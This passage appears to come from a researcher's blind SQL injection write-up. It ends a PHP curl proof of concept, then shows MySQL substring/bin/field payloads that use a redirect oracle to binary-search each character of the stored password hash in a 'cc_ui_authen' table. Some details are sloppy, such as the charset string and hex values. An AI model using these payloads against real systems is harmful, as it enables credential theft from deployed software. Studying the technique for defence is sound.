curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$outp = curl_exec ($ch);
curl_close($ch);
echo $outp;
?>
The previous POC show Full steps to take advantage of the redirection line, for instance , getting 1st password char Testing digit 1 -> No redirection in the response -> False Testing digit 8 -> redirection -> True Using python 13 seconds for 1 char , considering that a2b using 128 chars length hash consist of “0123456789abcdefff” mean we will need average 128*13 = around 27 mins
Multi threading this will help little bit
Around 3 mins , But still , too much threads and too much requests (1460 in my case) What about reducing this to the minimum possible requests!!!!Fasting up the injection speed
Using modified version of bin2pos benchmarked method will save us a lot of Time Wont proceed with long introduction as am already tired , But you cak look up the used functions @ mysql manual so here is brief Using the follwing query
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),0,1,2,3,4,5,6,7)),1,1)
Will return 1 if the 1st char of the password is in “01234567” , and will return zero if not The 1 or zero for sure will be provided in the key input as demonstrated before our char isn’t within the previous list , so the return will be zero , that mean it’s for sure in the following charrset “89abcdef” Splitting this to 2 sets “89ab”,”cdef” Let’s test for the 1st set
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8,9,0x41,0x42)),1,1)
result will 1 , splitting this to 2 sets as well we get “89”,”ab” testing for the 1st set
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8,9)),1,1)
Still true , mean we are on the right direction now we just test if it’s in “8”
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8)),1,1)
and another true result , so that’s our char Using this method we can obtain any char just in 4 requests , mean that our requests number were reduced to just 512 requests to obtain 128 chars!!!!!!!! That’s all for now , but not the end of the story yet , stay turned for part 2 (the more interesting part 😉) Glad I finished this actually , I do not think I will revise it even for once so if there are any mistakes just let me know abt it
Hope you enjoyed this writeup guys , and regarding python pocs or whatever , just drop me an email Till next time, Ahmed